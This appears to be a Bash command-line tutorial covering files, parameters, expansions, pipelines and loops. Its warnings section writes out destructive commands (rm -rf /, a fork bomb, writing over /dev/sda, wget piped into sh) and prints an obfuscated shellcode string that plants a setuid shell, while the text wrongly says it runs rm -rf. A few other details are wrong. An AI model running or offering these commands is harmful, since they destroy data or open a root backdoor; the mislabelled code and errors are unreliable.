

Bash command line interface

last updated: 2019-03-19

Contents

1	What is Bash?	1
2	Why learn Bash?	1
3	Warnings and dangerous commands	2
3.1	<code>rm -rf <target></code> (widespread file deletion)	2
3.2	<code>:(): :&;:</code> (fork bomb)	2
3.3	<code><command> > /dev/sda</code> (overwriting system disk data)	3
3.4	<code>mv <files> /dev/null</code> (moving files into a black hole)	3
3.5	<code>wget <malicious-shell-script> -O - sh</code> (downloading malicious scripts) .	3
3.6	<code><mkfs> /dev/sda</code> (reformatting the system)	3
3.7	<code>> <file></code> (file truncation)	3
3.8	<code>dd if=<data> of=/dev/sda</code> (overwriting system disk data)	4
3.9	<code>^<typo>^<replacement></code> (hazardous command execution)	4
3.10	Obfuscated malicious code	4
4	Files and directories	4
4.1	Files	4
4.2	Directories	5
5	Bash user features	6
5.1	Tab completion	6
5.2	Command history	6
5.3	Job control	7
5.4	Documentation and finding help	7
6	Command overview	8
6.1	Simple commands	8
6.2	Standard input and output	8
6.3	Return codes	9
7	Parameters	10
7.1	Variables	10
7.2	Positional parameters	11
7.3	Special parameters	12

8	Command line expressions	12
8.1	Brace expansion	12
8.2	Pattern matching	13
8.3	Quoting and escaping	14
9	Pipelines and compound commands	15
9.1	Pipelines	15
9.2	Lists	15
9.3	Subshell environments	15
9.4	Conditional execution	16
9.5	Case statements	17
9.6	Repeated execution (loops)	17
10	More expansions and substitutions	18
10.1	Command substitution	18
10.2	Process substitution	18
10.3	Arithmetic expansion	19
10.4	Tilde expansion	20
10.5	Advanced parameter expansion	20

1 What is Bash?

A **command line interface (CLI)** is a way for a computer user to interact with a computer by issuing text commands. The CLI is contrasted to the graphical user interface (GUI) available on most desktop computers and smartphones, where the user interacts with graphical objects such as icons and windows.

A **shell** is a CLI or GUI computer program that allows the user to interact with the computer's operating system. **Bash** is a Unix shell (and a command line language) written for the GNU Project as a free software shell for Linux[1]. Bash typically looks like something below:

```
foo@mycomputer /home/foo
$ echo "Hello world!" | sed -e 's/world/Foo/' > hello.txt

foo@mycomputer /home/foo
$ cat hello.txt | xxd
00000000: 4865 6c6c 6f20 466f 6f21 0a          Hello Foo!.

foo@mycomputer /home/foo
$ ls -l hello.txt
-rw-r--r-- 1 foo foo 11 Feb 27 20:39 hello.txt
```

There may be some differences between Bash across operating systems. In particular, since Windows, Mac and Linux use different file systems (typically NTFS, HFS+ and EXT respectively), there are some differences in how software that accesses the file system display information and behave.

2 Why learn Bash?

It's likely that CLI use is totally foreign to most people who use computers these days. However, the CLI offers a few advantages:

- **availability:** most PCs have Bash or can have it prepared;
- **capability:** CLIs often give more power to the user to do a wide variety of tasks;
- **productivity:** some tasks are much faster to perform by typing on a command line;
- **automation:** tasks can be automated by writing and executing Bash scripts.

Although a lot of software offers both GUI and CLI, some software is only executable via the command line or may be more convenient or powerful to use via its CLI rather than its GUI. Examples include `git`, `gpg` (when encrypting/decrypting data to/from other software) and `vlc` (when video processing).

In addition to knowing how computers and operating systems work, knowing how to use Bash is also often essential for competently performing system administration tasks.

3 Warnings and dangerous commands

Like anything else that is powerful, Bash should be used with a high degree of knowledge and awareness. While learning Bash, I recommend learning as much as you can about how computers work. Topics include filesystems, operating systems, regular expressions, ASCII and Unicode, C/C++, CPUs, RAM, storage devices, peripheral devices, the internet, security, ...

In particular, beware of the following dangerous commands[2, 3]. Some code and commands posted online are malicious, intended to cause people to lose data or crash their computer systems. Most of these commands require root privileges (Windows: "administrator privileges"), but never run these commands unless you know what you're doing, only execute them having full knowledge of what they will do. Also, be careful with commands containing any substitutions that might result in potentially dangerous commands.

3.1 `rm -rf <target>` (widespread file deletion)

If `<target>` is `/`, `*`, `~` or `.`, the command will delete all system files, all files/subdirectories in the current directory, all your user files or the current directory (respectively) without any prompt or warning, causing data loss.

Flag `-r` activates recursive deletion so is more dangerous, but `rm -f` (without `-r`) can almost as easily delete files.

- Be careful with the `-f` flag (force deletion) of `rm`.
- Check that `<target>` is correct and cannot possibly be anything potentially dangerous (eg: via variable substitution) before executing.
- Consider aliasing `rm` to `rm -i` to prevent accidental deletion. However, note that this won't stop forced deletion using `-f` but will help stop some accidental deletion.

3.2 `:():|:&;` (fork bomb)

Executing `:():|:&;` creates a fork bomb (a function that creates two copies of itself over and over), causing CPU and memory overload, possibly data loss.

- It is malicious code; never put this into a command line, script or source code.
- Be careful when defining recursive Bash functions.

3.3 `<command> > /dev/sda` (overwriting system disk data)

`<command> > <target>` redirects the output of a command to a target. Redirecting output of commands to `/dev/sda` (or whatever device the operating system is stored on) overwrites the main filesystem, causing total data and system loss.

Note that the operating system device identifier goes by a different name in Windows and Mac, and the Linux one may possibly be different too. Also, writing to other disk devices may also cause data loss.

- Be careful when redirecting output using `>` to devices.

3.4 `mv <files> /dev/null` (moving files into a black hole)

`/dev/null` acts like a black hole for command output and files. Moving files to `/dev/null` using `mv` puts them into that black hole, causing data loss.

- If you intend to redirect command output to `/dev/null`, be careful not to leave out `>` when doing so.

3.5 `wget <malicious-shell-script> -O - | sh` (downloading malicious scripts)

`wget` will download the specified file (in this case a malicious shell script) and then pipe it to `sh` (a shell), which may do anything to your system.

- Understand all code or verify its source before downloading and executing code.

3.6 `<mkfs> /dev/sda` (reformatting the system)

Running commands like `mkfs`, `mkfs.ext3`, `mkfs.ext4` and related commands will format the specified target device with a fresh filesystem, causing data loss.

- Make sure you know what you're doing before using `mkfs` or related commands.

3.7 `> <file>` (file truncation)

`> <file>` truncates the specified file to 0 bytes, causing data loss.

- Be careful not to mistakenly truncate files that already exist.
- If you wish to append data to a file, ensure you're using `>>` and not `>`.
- If you wish to redirect command output to a file, ensure the left hand side of `>` is your desired command and cannot possibly be empty (eg: as a result of a substitution).

3.8 dd if=<data> of=/dev/sda (overwriting system disk data)

`dd` writes data from one file/device to another file/device. Specifying `/dev/sda` as the output overwrites the main filesystem, causing total data and system loss.

- Be very careful when using `dd`, ensuring that you have specified the input and output correctly.

3.9 ^<typo>^<replacement> (hazardous command execution)

Typing this kind of command runs the previous command but after replacing `<typo>` with `<replacement>`, which can cause a potentially dangerous command to run.

- Never use this when the previous command is potentially dangerous.
- Be careful to use this syntax only with full knowledge of what it will do.

3.10 Obfuscated malicious code

The following obfuscated code performs `rm -rf /`, causing total data and system loss:

```
char esp[] __attribute__((section(".text"))) /* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;;
```

- It is malicious code; never put this into a command line, script or source code.
- Never run commands that you don't understand or can't verify.

4 Files and directories

4.1 Files

A **file** (in a typical Linux filesystem) is data consisting of: inode (unique identifier for a file), name, type, size (in bytes), permissions, ownership, timestamps, and content (the data itself). The output of `ls -l` shows file attributes: file type (`-`: regular file, `d`: directory, ...), permissions (`r`: read, `w`: write, `x`: execute, `-`: not permitted), number of links to the same inode, owner, group, size or device specifier, timestamp and file name.

```
$ ls -ld hello.txt / /dev/sda /dev/null /dev/cdrom /tmp/.X11-unix/X0 ...
drwxr-xr-x 22 root root 4096 Nov 27 19:19 /
lrwxrwxrwx 1 root root 3 Mar 1 19:27 /dev/cdrom -> sr0
crw-rw-rw- 1 root root 1, 3 Mar 1 19:27 /dev/null
brw-rw---- 1 root disk 8, 0 Mar 1 19:27 /dev/sda
prw----- 1 root root 0 Mar 1 19:26 /run/dmeventd-client
-rw-r--r-- 1 foo foo 10132 Mar 1 20:06 hello.txt
srwxrwxrwx 1 root root 0 Mar 1 19:27 /tmp/.X11-unix/X0
```

Directories are just another type of file. Actually, almost everything in Linux (including storage devices, terminals and printers) is represented as a file.

File names may be a string consisting of all possible bytes (ie: non-ASCII Unicode symbols are allowed) except null character (`\0`) and directory symbol (`/`). However, file names with non-printable characters, spaces and other characters that have meaning in Bash can make things difficult. It's recommended that file names containing only alphanumeric (`A-Za-z0-9`), plus (`+`), hyphen (`-`), underscore (`_`), comma (`,`) and period (`.`) are used.

4.2 Directories

Files are sorted into a tree of **directories**, starting at the top-level directory `/`. The directory tree on the left shows parts of a typical Linux directory structure.

```
/ # top-level directory      /home/alice/ # alice's home
+-- bin/                    +-- .bash_history
+-- boot/                   +-- .bashrc
+-- dev/                    +-- Downloads/
+-- etc/                    | +-- group-photo-yay.jpg
+-- home/                   | +-- cat-video-meow.webm
| +-- alice/ ...           +-- living/
| +-- bob/                  | +-- fitness/
+-- media/                  | +-- health/
+-- root/                   | +-- self-development/
+-- sbin/                   | +-- simple-living/
+-- tmp/                    +-- work/
+-- usr/                    | +-- environmentalism/
+-- var/                    | +-- research/
+ ...                       + ...
```

The following directory definitions exist in Linux and in most other computer systems:

- `~`: home directory of current user;
- `~<user>`: home directory of user `<user>`;
- `.`: "current" directory of a directory;
- `..`: parent directory of a directory;
- `/`: top-level directory (aka: root directory) (where `..` refers to itself).

5 Bash user features

5.1 Tab completion

Tab completion is a useful feature that allows the user to complete words while typing them into the command line. In this context, **word** refers to command names, file names, variable names and (for some commands) its command line arguments.

After typing in one or more characters to form a prefix, the user can hit `<tab>` to attempt to complete the current word. If the prefix uniquely identifies a word (ie: only one candidate word remains), tab completion will complete the word completely. Otherwise, tab completion will insert the longest possible prefix that the remaining candidate words allow, after which the user must enter more characters to uniquely identify a word. Hitting `<tab>` twice will bring up a list of remaining candidate words.

```
$ fir<tab> # complete "firefox"
$ firefox<tab><tab> # show remaining candidates
firefox      firefox-esr
$ firefox-<tab> # complete "firefox-esr"
$ firefox-esr^C

$ echo $HIST<tab><tab> # show remaining candidates
$HISTCMD      $HISTCONTROL  $HISTFILE      $HISTFILESIZE  $HISTSIZE
```

Tab completion also completes file names specified by wildcard expressions (see section 8.2). If an entered wildcard expression uniquely identifies a file name, hitting `<tab>` will substitute the file name in place of the wildcard expression. Otherwise, a list of remaining candidate file names will be printed.

```
$ ls *.sh<tab><tab> # show remaining candidates
clean.sh make.sh
$ ls m*.sh<tab> # complete "make.sh"
$ ls make.sh
```

Tab completion behaviour differs from the above if Bash setting `progcomp` (programmable completion) is enabled. For example, given files `A` and `B` exist, one might expect to see the remaining candidate list `A B` when tab completing `[A-B]`, but if `progcomp` is enabled the first of the remaining candidates `A` is substituted in place of `[A-B]` instead. To ensure tab completion behaviour as outlined above, disable programmable completion:

```
$ shopt -u progcomp
```

5.2 Command history

By default, Bash keeps a command history. Command history behaviour is controlled by several environment variables including the following:

- `$HISTCONTROL`: a colon-separated list of options that controls how history is saved;
- `$HISTFILE`: the file name where history is saved to (typically `~/.bash_history`);

- `$HISTFILESIZE` : the maximum number of lines kept in the history file (typically 2000);
- `$HISTSIZE` : the number of commands saved in the history list (typically 500).

If `$HISTCONTROL` contains `ignoreboth` or `ignorespace`, commands that start with a leading space are not saved into history. This feature is good when entering information (eg: passwords) or performing sensitive operations on the command line.

If command history is kept, using the up and down arrow keys allows the user to scroll through the command history.

Also, history can be searched by entering the control sequence `^R` (`<ctrl>+R`) and then typing a query. After typing a query, the latest matching command saved in history is shown. That command can be executed as-is by hitting `<enter>`, the command can be edited by hitting the left or right arrow keys, or the history can be searched further (in reverse order) by hitting `^R` again.

There are other ways to read and manipulate history. For example, the executable `history` can be used to access history, and there's history expansion (using `!`) and quick history substitution (using `^`). For more details, see the Bash manpage[5].

5.3 Job control

The shell associates a **job** with each pipeline, and keeps a tables of current jobs. The user can suspend and resume the execution of jobs. Jobs can be controlled with the following commands and control sequences:

- `<command> &` : run a command in the background;
- `jobs` : display the status of jobs;
- `fg` : move jobs to the foreground;
- `bg` : move jobs to the background;
- `^C` : terminate a running job;
- `^Z` : suspend a running job immediately;
- `^Y` : suspend a running job when it attempts to read input from the terminal;
- `kill` : send a kill signal to a job/process.

5.4 Documentation and finding help

For documentation and help, try the following:

- `man` : manpages, extensive documentation about commands (eg: `man bash`);
- `info` : another set of documentation about commands;
- `apropos` : search manpage names and descriptions, useful for finding out what commands you may need (eg: type `apropos editor` for a list of suggestions for various editors);
- `<command> --help`, `<command> -h` or similar: help for how to use `<command>` ;
- searching on the internet for what you want to achieve.

6 Command overview

A **shell command** is an instruction that is given to a shell to do something, and come in the following forms:

- variable assignments (see section 7.1);
- simple commands;
- pipelines (`<command1> | <command2> | ...`) (see section 9);
- compound commands (eg: lists, conditional statements, loops) (see section 9).

6.1 Simple commands

A **simple command** is a sequence of the following components[4, 5]:

- command name (eg: `cd`, `ls`, `echo`, `man`, `git`, `chmod`, `sha256sum`, ...)
- arguments (eg: `-h`, `--help`, `--include='*.txt'`, `~`, `foo.txt`, `*.jpg`, ...)
- redirections (eg: `>`, `>>`, `<`, `<<`, `2>`, `2>&1`, ...)
- control operators (eg: `&&`, `||`, `&`, `(`, `)`, `|`, `|&`, `;`, `;;`, `<newline>`, ...)

Except for the command name (which in most cases appears first), all of the above components are optional in a command. Any arguments must come after the command name, redirections don't make sense unless they exist with a command name. Control operators may appear in a simple command, but most control operators are used to string together multiple simple commands to form compound commands.

The command name and its arguments must be separated by **blanks** (default: `<space>` or `<tab>`) so that each name and argument forms a **word**. Other components may need to be separated by blanks too, and doing so is generally good practice for avoiding ambiguity and confusion.

```
echo "Hello world!" # prints "Hello world!"
echo "Hello world!" > hello.txt # redirects output to file "hello.txt"
ls -l hello.txt # lists hello.txt showing details
vim hello.txt & # opens hello.txt in text editor as a background job
bash myscript.sh 2> /dev/null # discards stderr of the script
whoami # print the name of the current user
pwd # print the current working directory path
```

6.2 Standard input and output

Aside from a command's arguments and any files it may read/write, each simple command has the following inputs and outputs:

- standard input (stdin, fd 0): application data that the command reads in;
- standard output (stdout, fd 1): application data that the command outputs, which defaults to being connected to the shell terminal;
- standard error (stderr, fd 2): error information that the command outputs, which defaults to being connected to the shell terminal.

```

stdin +-----+ stdout (default: terminal)
  ---># command #--->
      +-----#-----+
          \---> stderr (default: terminal)

```

A command's standard input and output can be connected, ie: **redirected**, to specified files using the following operators:

- `<command> > <file>`: redirect stdout to truncate/overwrite `<file>`;
- `<command> >> <file>`: redirect stdout to append to `<file>`;
- `<command> 2> <file>`: redirect stderr to truncate/overwrite `<file>`;
- `<command> > <file> 2>&1`: redirect stderr to stdout to truncate/overwrite `<file>`;
 1. `> <file>` redirects stdout to `<file>`;
 2. `2>&1` redirects stderr to stdout, which was already redirected to `<file>`;
- `<command> 1>&2`: redirect stdout to stderr (good for printing error messages to stderr);
- `<command> < <file>`: redirect stdin to read from `<file>`;
- `<command> << <here-doc>`: feed a here document to stdin.

A **here document** is data that can be fed directly into a command via stdin. It is redirected into stdin using `<<` and an end identifier `<end>` (eg: `EOF`) follows it. The here document is terminated by the same end identifier `<end>`, and all data before the termination is fed into stdin.

```

$ grep w << EOF
> Hello world!
> Hello Alice!
> EOF
Hello world!

```

6.3 Return codes

Each command also returns a **return code** or **exit status**. This is an integer (typically 0–255) that a command passes to the invoking shell. Commands typically exit with return code of zero when successful and non-zero when some kind of error was encountered.

The return code of the previously run command can be read using the special parameter `$?` (see section 7.3). This code can be read to determine what further action to take. However, return codes are not standardised, so return codes of each software need to be understood before reading `$?`.

Bash conditional statements (`if`, `while`, ...) and command compounding (`&&`, `||`) interpret return codes in the following way:

- zero $\Rightarrow$ true;
- non-zero $\Rightarrow$ false.

7 Parameters

A **parameter** is a name–value pair that comes in one of the following forms:

- variables (eg: `$HOME`, `$PATH`, `$IFS`, `$PWD`, `$foo`, `$worklist`, `$GCC`, ...)
- positional parameters (`$1`, `$2`, ..., `${10}`, `${11}`, ...)
- special parameters (`$0`, `$*`, `$@`, `$#`, `$?`, `$-`, `$$`, `$!`, `$_`)

A parameter value can have a length of zero or more bytes. A parameter value with zero length is called an **empty string** or **null string**. Each byte of a parameter value can be anything except the null character `\0`.

The value of a parameter is inserted in place of wherever exists `$<name>`, called **parameter expansion**. Expansion doesn't occur when `$` is treated as a literal, ie: when it is escaped by a backslash (eg: `\$x`) or enclosed in single quotes (eg: `'$x'` or `'$'x`) (see section 8.3). However, enclosing a parameter in double quotes does not treat the parameter as a literal, so `"$<name>"` undergoes expansion.

Parameters that appear before characters `A-Za-z0-9_` must be enclosed in braces (eg: `${x}y` instead of `$xy`), and it's good practice to enclose all parameters in braces to avoid confusion.

Given `$x` expands to `Hello world!` and `$xy` is undefined, the following is obtained:

expression	substituted value	after word separation
<code>\$x</code> , <code>\${x}</code>	Hello world!	Hello, world!
<code>"\$x"</code> , <code>"\${x}"</code>	Hello world!	Hello world!
<code>\\$x</code> , <code>'\$x'</code> , <code>'\$'x</code> , <code>"\$x"</code>	<code>\$x</code>	<code>\$x</code>
<code>\$xy</code>	(blank)	(blank)
<code>\${x}y</code>	Hello world!y	Hello, world!y
<code>"\$x"y</code> , <code>"\${x}y"</code>	Hello world!y	Hello world!y

Parameters that expand to commands are possible too, which is useful for parametrising executables. However, it works only for simple commands consisting of a command name and 0 or more arguments:

```
$ x="echo foo"

$ $x # executes "echo" with 1 argument
foo

$ $x bar # executes "echo" with 2 arguments
foo bar

$ "$x" bar # attempts to execute "echo foo"
bash: echo foo: command not found
```

7.1 Variables

A **variable** is a parameter that has a name and its value can be (re-)assigned. Variable assignment has the following syntax:

```
<name>=<value> # without spaces before/after =
```

<name> must consist of one or more characters only of alphanumerics and underscores (regular expression: `[A-Za-z0-9_]\+`), and must not coincide with any of the positional parameters or special parameters. Note that there are also **reserved variables** such as `$HOME`, `$PWD`, `$BASH`, `$PS1` and many others, whose names should be avoided unless modifying their values.

If **<value>** could be interpreted as a command (eg: `x=foo bar` would be interpreted as variable assignment `x=foo` followed by command `bar`), put appropriate quotes around the value (eg: `x="foo bar"`). Doing so is considered good practice by some people.

```
$ x=42

$ y="$x is the answer"

$ z="$y, is it?"

$ echo $z
42 is the answer, is it?
```

The variable assignment syntax above assigns a **local variable**, which has effect, called **scope**, only within the shell it was declared. In contrast, each **environment variable** in a shell is inherited by all commands invoked by the same shell. By convention, environment variable names consist of only uppercase letters and numbers, such as `$HOME`, `$PWD` and `$PS1`.

7.2 Positional parameters

A **positional parameter** is a parameter denoted by one or more digits (other than `$0`), and its value is assigned from the shell's arguments. See section 8.3 for explanation about how Bash splits words into multiple arguments: word splitting, quoting and escaping.

```
# positional.sh
echo "\$1: $1"
echo "\$2: $2"
echo "\$3: $3"
```

```
$ bash positional.sh
$1:
$2:
$3:

$ bash positional.sh foo bar "Hello world!" 42
$1: foo
$2: bar
$3: Hello world!
```

The command and its first argument (the shell script) are together `bash positional.sh`. The positional parameters within the invocation of the bash script are assigned all arguments thereafter. The script name `positional.sh` is assigned to special parameter `$0` (see section 7.3).

Positional parameters with more than one digit must be enclosed in braces (eg: `${10}`), and if you wish to expand a positional parameter before characters `A-Za-z0-9_` it's good practice to enclose the parameter in braces (eg: `${1}0` instead of `$10`).

7.3 Special parameters

A **special parameter** is a pre-defined and reserved parameter, and its value is assigned by Bash accordingly[5]:

- `$0`: name of the shell or shell script.
- `$*`: all positional parameters, or `"$1 $2 ..."` (space-separated by default) when enclosed in double quotes as `"$*"`.
- `$@`: all positional parameters, or `"$1" "$2" ...` when enclosed in double quotes as `"$@"`.
- `$#`: number of positional parameters (base 10).
- `$?`: exit status or return code of most recently executed foreground pipeline.
- `$-`: the current option flags as specified by Bash builtin `set`.
- `$$`: process ID of the shell.
- `$_`: process ID of the job most recently put into background.
- `_`: absolute pathname used to invoke the shell or shell script as passed in the environment or argument list.

8 Command line expressions

8.1 Brace expansion

Brace expansion is useful for entering multiple words (in this case: command names, arguments and file names) in a short-handed way.

Patterns to be expanded have the following syntax:

```
<prefix>{<sequence>}<suffix>
```

- `<prefix>`: an optional expression that is prepended to each brace expansion;
- `<sequence>`: a list of expressions that expansions should be made for, with two forms:
 - a series of comma-separated elements (eg: `d,c,b`);
 - a range of the form `<a>..<b>[..<incr>]` (the `..<incr>` part is optional);
- `<suffix>`: an optional expression that is appended to each brace expansion.

```
$ echo a{d,c,b}e
ade ace abe # the order of the expansions are left unsorted

$ echo {1..10}
1 2 3 4 5 6 7 8 9 10 # integers with variable number of digits

$ echo {01..10}
01 02 03 04 05 06 07 08 09 10 # integers with 2 digits each

$ echo {a..z..2}
a c e g i k m o q s u w y # every 2nd lowercase alphabetic letter

$ echo {Y..b}
Y Z [ ] ^ _ ' a b # every character between Y and b in ASCII order
```

Unlike wildcards (see section 8.2), each expansion must correspond to a valid command name, command line argument or file name.

```
$ touch {A,D,C} # create files A, D, C

$ ls {A..D} # attempt to list files A, B, C, D
ls: cannot access 'B': No such file or directory
A C D
```

8.2 Pattern matching

Pattern matching using wildcards is useful for referring to many file names in one expression. The following wildcards exist in Bash as well as some other shells:

- `*`: matches any string, including the empty string (with some exceptions);
- `?`: matches any single character;
- `[<rule>]`: matches any one of the characters described by `<rule>`.

expression	description	examples
<code>*.txt</code>	file names that end with <code>.txt</code>	<code>shopping-list.txt</code> , <code>todo.txt</code>
<code>*.?</code>	file names that have a one-character "file extension"	<code>directory.d</code> , <code>syslog.1</code>
<code>????</code>	four-character file names	<code>xy.z</code> , <code>hoge</code>
<code>*.*</code>	file names containing a dot	<code>hello.txt</code> , <code>directory.d</code>
<code>.*</code>	file names begin with a dot (dotfiles)	<code>.bashrc</code> , <code>.bash_history</code> , <code>.git</code>
<code>a*.*</code>	file names that begin with <code>a</code> and contain a dot	<code>awesome.txt</code>
<code>*.mp[34]</code>	file names that contain <code>.mp3</code> or <code>.mp4</code>	<code>movie.mp4</code> , <code>music.mp3</code>
<code>syslog*</code>	file names that begin with <code>syslog</code>	<code>syslog</code> , <code>syslog.1</code> , <code>syslog.2.gz</code>

Exceptions to wildcard matching apply, although some of this behaviour may be configurable.

- File names that begin with `.` must be matched explicitly: `.` (current directory), `..` (parent directory) and `.*` (dotfiles).
- Wildcards never match the directory delimiter `/`, so matching does not occur across directory boundaries (exception: `globstar` is set and wildcard `**` is used).

Wildcard characters may be used in file names. In this case, use quotes (eg: `"?"`, `'['`) or escaping (eg: `\*`) to remove their wildcard behaviour. See section 8.3 for details.

8.3 Quoting and escaping

Quoting and **escaping** are used to remove the special Bash meaning of certain characters, to prevent reserved words to be recognised as such, and to prevent expansion or substitution.

The following characters have special meaning in Bash: `|`, `&`, `$`, `#`, `*`, `?`, `;`, `:`, `'`, `"`, ```, `(`, `~`, `=`, `\`, `(`, `)`, `<`, `>`, `[`, `]`, `{`, `}`, `<space>`, `<tab>`, `<newline>`. Also, reserved words may need to be quoted when words must be interpreted literally.

The escape character in Bash is the unquoted/unescaped `\`. Placing it before a special character removes its special meaning. A slight exception is `<newline>` (used to execute or separate commands), where escaping it allows the user to continue entering a command over multiple lines.

Enclosing characters in unquoted/unescaped single quotes `'` preserves the literal value of all characters within the quotes. No expansions/substitutions take effect. Even escaping doesn't work, so single quotes cannot occur between single quotes.

Enclosing characters in unquoted/unescaped double quotes `"` preserves the literal value of all characters within the quotes, except `$` (to permit expansion/substitution), `\` (to permit escaping), ``` and (when history expansion is enabled) `!`. `\` retains its special meaning (escaping) only when before `$`, ```, `"`, `\` or `<newline>`.

Bash performs **word splitting**, that is Bash treats words as being between blanks (`<space>`, `<tab>` and `<newline>`). Quoting or escaping these blanks allows creation of longer words that contain blanks, without Bash breaking up those words. A `<newline>` must be quoted (not escaped) for it to be treated as a literal.

```
# positional.sh
echo "\$1: $1"
echo "\$2: $2"
echo "\$3: $3"
```

```
$ bash positional.sh foo\ bar "baz
> qux" hoge' piyo
$1: foo bar # the space between foo and bar is preserved by escaping it
$2: baz
qux # the newline between baz and qux is preserved
$3: hoge piyo # the space is preserved by quoting it
```

9 Pipelines and compound commands

9.1 Pipelines

Commands can be **piped** together to form a sequence of commands that pass data from one to the next. Piping is typically done to connect stdout of one command to stdin of the next command, and is illustrated below:

```

stdin +-----+ pipe +-----+ stdout
  ---># command #-----># command #---> [terminal]
      +----#-----+      +----#-----+
          \                      \-----> [terminal]
stderr \-----> [terminal]

```

One command is piped to another command using the following syntax:

- `<cmd1> | <cmd2>`: pipe stdout of `<cmd1>` to stdin of `<cmd2>`;
- `<cmd1> 2>&1 | <cmd2>`: pipe stdout and stderr of `<cmd1>` to stdin of `<cmd2>`.

```

# print a message, do search and replace, then show its hexadecimal
$ echo "Hello world!" | sed -e 's/world/Alice/' | xxd
00000000: 4865 6c6c 6f20 416c 6963 6521 0a      Hello Alice!.

```

9.2 Lists

A **list** is a sequence of one or more pipelines, separated with one of the following separators, and optionally terminated by one of the following terminators:

operator	separator?	terminator?	description
<code>;</code>	yes	yes	Runs pipelines sequentially.
<code>&</code>	yes	yes	Runs the previous pipeline in the background in a subshell.
<code>&&</code>	yes	no	Runs the next pipeline only if the previous pipeline returns an exit status of zero.
<code> </code>	yes	no	Runs the next pipeline only if the previous pipeline returns a non-zero exit status.

9.3 Subshell environments

A **subshell environment** is an environment that is a duplicate of the current shell environment. Command substitution and asynchronous commands are run in a subshell. Shell scripts are also run in their own subshell. A command can be run in a subshell using the following syntax:

```
(<list>)
```

Subshell environments are useful when you want to run a command in an environment that is not littered with local variables, if you wish to assign local variables without modifying the current shell environment, or if you wish to change working directories without modifying the current shell environment.

```
$ (cd /usr/share; pwd); pwd
/usr/share # working directory of subshell environment
/home/foo # working directory of current environment is unchanged

$ x=42; (x=foo; echo $x); echo $x
foo # x in subshell environment
42 # x in current environment is unchanged
```

9.4 Conditional execution

Conditional execution can be done in three main ways:

- list operators (`&&`, `||`);
- conditional statements (`if`, ..., `fi`);
- case statements (`case`, ..., `esac`). (see section 9.5)

A list operator `&&` or `||` can be used to conditionally execute a command that follows it. The following example illustrates this. Note: the command `true` simply returns an exit status of 0, and `false` simply returns an exit status of 1; these commands should be replaced with whatever condition you wish to check before executing your next command.

```
$ true && echo 42
42

$ false && echo 42

$ true || echo 42

$ false || echo 42
42
```

An easier and more powerful way to perform conditional execution is to use “if” statements:

```
if [ <condition> ] # 1st condition
then
    <commands> # action if 1st condition is satisfied
elif [ <condition> ] # 2nd condition
then
    <commands> # the next conditional action
...
else
    <commands> # action if all conditions are false
fi
```

Most conditional expressions are described in the table in the appendix. For more about forming conditions using “if” statements, refer to the following manpage:

```
$ man test
```

Warning: `[`, `]`, `!`, `(`, `)` and other characters that are treated specially in Bash may need to be quoted or escaped. In my experience, `[`, `]` and `!` need not be escaped/quoted, but `(` and `)` do.

Note that a *list* can be used instead of `[ <condition> ]`, with the list’s exit status being used to determine true or false. In fact, `[` is a command that takes `<condition>` and `]` as arguments, and produces true (zero exit status) or false (non-zero exit status). Therefore, the following style of conditional execution is possible:

```
$ [ ! -f hello.txt ] && echo "Hello world!" > hello.txt
```

9.5 Case statements

A **case statement** is a type of conditional execution that executes commands based comparing a word against multiple patterns:

```
case <word>
in
  <pattern>) # 1st pattern
    <commands>
    ;;
  <pattern>) # 2nd pattern
    <commands>
    ;;
  ...
esac
```

```
1>&2 read -r -p "Is this the correct filename? " answer
case "$answer"
in
  [yY]) # the user types in "y" or "Y" to say "yes"
    ;; # no action for this case
  *) # default case: the user gives any other answer
    1>&2 echo "error: filename deemed incorrect by user."
    exit 1
    ;;
esac
```

9.6 Repeated execution (loops)

Repeated execution of a list of commands is achieved by two types of loops:

- “for” loop: repeatedly executes commands a fixed number of times;
- “while” loop: repeatedly executes commands until a condition is no longer met.

The syntax of the for loop is shown. `<index>` is the name of an iteration variable that exists inside the loop. The loop executes `<commands>` with `<index>` taking each value in the list of values (`<values>`).

```
for <index> in <values>
do
    <commands>
done
```

```
for name in alice bob oliver # repeat find for multiple names
do
    find ${path} -name ${name}.pdf
done
```

The syntax of the while loop is shown. `<condition>` is checked prior to each iteration of the loop, and if the exit status is non-zero (false) then `<commands>` are no longer executed.

```
while <condition>
do
    <commands>
done
```

10 More expansions and substitutions

10.1 Command substitution

Command substitution allows the stdout of a command to be expanded in place of where the command substitution exists. This is useful for putting output of commands into variables, and is also useful for creating more complex commands.

```
$(<command>)
```

```
# save a list of files exceeding 4000000000 bytes into a variable
bigfiles="$(find / -xdev ! -size -4000000000c)"

# check that we're running as root
if [ ! "$(whoami)" = "root" ]
then
    1>&2 echo "error: root privileges required."
    exit 1
fi
```

10.2 Process substitution

Process substitution allows a process's input or output to be referred to instead of a filename. This is useful when a command must be given filename arguments. The process can be a list of commands.

- `<(<list>)`: passes process `<list>` as an input file argument, so that the stdout of `<list>` can be fed into a command;
- `>(<list>)`: passes process `<list>` as an output file argument, so that the stdin of `<list>` can read from a command.

```
$ diff <(echo a; echo b; echo c) <(echo f; echo b; echo c)
1c1
< a
---
> f

$ diff --brief <(echo a; echo b; echo c) <(echo f; echo b; echo c)
Files /dev/fd/63 and /dev/fd/62 differ
```

Process substitution has the following limitations[6]:

- The “file” created is not seekable, so the command that reads/writes from/to the “file” cannot perform random access, and the “file” must be read/written from start to finish.
- Commands that explicitly check the type of a file before opening it may refuse to work with process substitution, because the “file” created is not a regular file.
- Exit codes of a process substitution cannot be obtained.

10.3 Arithmetic expansion

Arithmetic expansion allows the evaluation of an arithmetic expression and substitution of the result.

```
$((<expression>))
```

Bash supports arithmetic, bitwise, logical, comparison and some other operations on integers. The following arithmetic operators are supported:

- `x++`, `x--`: variable post-increment and post-decrement;
- `++x`, `--x`: variable pre-increment and pre-decrement;
- `+`, `-`: unary plus and minus (numerical negation);
- `!`, `~`: logical and bitwise NOT;
- `**`: exponentiation;
- `*`, `/`, `%`: multiplication, division, remainder;
